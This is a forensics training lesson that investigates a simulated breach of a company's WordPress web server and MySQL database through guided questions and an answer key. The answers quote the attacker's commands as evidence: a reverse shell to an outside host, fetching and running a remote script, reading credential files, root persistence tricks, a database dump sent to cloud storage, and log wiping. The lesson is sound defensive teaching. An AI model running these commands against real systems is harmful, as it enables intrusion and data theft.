Lesson 14.1

Capstone: Halden Freight portal breach (Linux)

A full DFIR investigation of a compromised Linux web server and database, from the first scan to data theft and cover-up, with guided questions and an answer key checked against the practice evidence.

90 minEveryone
At a glance for experienced analysts
  • Evidence: web01 and db01 from the practice set. Ten questions, from the first scan to the cover-up, each with an answer key.
  • Work in your own order. Record verdicts, indicators, tasks and a working-timeline note as you go.
  • Expected: initial access through a WordPress plugin, a web shell, root, persistence, an SSH hop to the database, a dump, exfiltration to cloud storage, and log tampering.

The brief

Halden Freight’s customer portal runs on web01 (WordPress on nginx, Ubuntu 24.04) with a MySQL database on db01. On 28 November 2026 a customer reported a phishing email quoting their order history. Collections were taken from both servers with Arcsentry Collector that day. Find out whether the portal was compromised, how, what was taken, and whether the attacker is still there.

Load both archives into a case (Module 3). All times are UTC. Answer the questions below before opening each answer. A suggested tool is given for each, but any route that reaches the records is fine.

1. Reconnaissance

Which address sent the most web requests, over what period, and what was it doing? Hunt, top and group (lesson 5.4).

Answer

203.0.113.45 sent 647 requests between 02:11:05 and 02:47:19 on 24 November, 594 of them answered 404: an automated scanner probing for paths. It stopped at the minute of the upload.

2. Initial access

How did the attacker get code onto web01? rare on POST URLs.

Answer

At 02:47:19, 203.0.113.45 sent a single POST to /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php (status 200), user agent python-requests/2.32.3. That is the WP File Manager upload flaw (CVE-2020-25213, inferred from the plugin and endpoint). It planted thumb_cache.php in the plugin’s lib/files folder.

3. The web shell

Who used the web shell, when, and what did they run?

Answer

203.0.113.77 sent 8 requests to thumb_cache.php?c=… from 02:47:49 to 02:50:58. auditd shows the commands as www-data (uid 33): id, uname -a, cat /etc/passwd, cat ../../../../../wp-config.php, a curl download of /tmp/.l.sh from 198.51.100.23 and running it, then a reverse shell bash -i >& /dev/tcp/198.51.100.23/443 at 02:52:31 and a Python pty at 02:52:51.

4. Privilege escalation

How did the attacker become root?

Answer

At 02:58:06 www-data ran su deploy, and at 02:58:37 deploy ran sudo bash -i. Observed: the switch to deploy succeeded eight and a half minutes after wp-config.php was read (02:49:40). Inferred: deploy’s password was reused as the database password in wp-config.php.

5. Credentials and discovery

What did root read and scan next?

Answer

cat /etc/shadow (02:59:20), deploy’s SSH private key /home/deploy/.ssh/id_ed25519 (03:00:02), ip -br a, ss -tnp, /etc/hosts, then apt-get install -y nmap (03:03:44) and nmap -sT -Pn -p 22,3306,5432,9100 10.20.1.0/24 (03:05:02).

6. Persistence on web01

List every way the attacker made sure they could come back. auditd, syslog, bash_history, sessions.

Answer
  1. /usr/lib/systemd/systemd-netlinkd downloaded from 198.51.100.23 (03:09:15), its timestamps copied from systemd-networkd with touch -r (03:09:40), run as systemd-netlink.service (enabled 03:10:09).
  2. libnss_cache.so.2 downloaded (03:11:30) and added to /etc/ld.so.preload (bash_history, untimed).
  3. A second root account, sysupd, with UID 0 (03:11:52) and a password set (03:12:10).
  4. An SSH key appended to /root/.ssh/authorized_keys (bash_history, untimed). It was used: root logged in from 203.0.113.77 with an ED25519 key on 25 November at 01:12:51 and on 27 November at 22:03:17.
  5. A root cron job calling https://cdn-telemetry.example/c?h=web01 every 15 minutes, first seen in syslog at 03:15:01 on 24 November and running until collection.

7. Lateral movement

How did the attacker reach db01? Confirm it from both sides.

Answer

web01’s auditd: ssh -i /home/deploy/.ssh/id_ed25519 [email protected] at 03:14:02. db01: SSH logon as deploy from 10.20.1.10 (web01, by its own /etc/hosts) at 03:14:03. The stolen key, used one second apart on both ends.

8. Collection

What did the attacker do on db01?

Answer

Via sudo as deploy: mkdir -p /tmp/.d (03:14:40), mysqldump --all-databases --single-transaction --routines (03:15:02), gzip -9 /tmp/.d/portal_prod.sql (03:21:48), chmod 644 on the archive (03:22:30). At 03:24:11 db01’s auditd shows scp -f /tmp/.d/portal_prod.sql.gz: the file being copied out. web01’s history has the other end: scp … [email protected]:/tmp/.d/portal_prod.sql.gz /var/tmp/.cache/.

9. Exfiltration

Did the database leave Halden’s network? How, and when?

Answer

On 25 November, a minute after a root SSH logon from 203.0.113.77: rclone downloaded from 198.51.100.23 (01:13:40), unzipped, configured with a MEGA remote mbk (01:14:30), then rclone copy /var/tmp/.cache/ mbk:bkp (01:16:02). At 01:41:19 the tools and /var/tmp/.cache/portal_prod.sql.gz were deleted. Observed: the upload command ran. Not observed: how much was transferred; ask MEGA via legal channels.

10. Covering tracks

What did the attacker do to hide?

Answer

On 27 November, half an hour after another root SSH logon: sed -i '/203.0.113.45/d' /var/log/nginx/access.log.1 (22:31:40) removed the scanner’s lines from the rotated log, and unset HISTFILE (22:32:10) stopped history. The scan survives in the current access.log, which was not edited. Whatever the scanner left in access.log.1 is gone.

Limits to state in your report

  • bash_history has no timestamps; its commands are placed by matching auditd and syslog.
  • The volume uploaded to MEGA is not recorded.
  • Earlier scanner activity in access.log.1 was deleted.
  • Only web01 and db01 were collected. Other hosts in 10.20.1.0/24 were scanned but not examined.

Check yourself against the full picture

Your case should now have: the web shell, root and db01 events flagged with techniques and stages; 203.0.113.45, 203.0.113.77, 198.51.100.23 and cdn-telemetry.example as indicators; tasks for containment; and a working-timeline note. Lesson 14.3 turns it into a report.

Check yourself

1. Which source showed the commands run as root on web01 but without times?
Progress is saved in this browser only.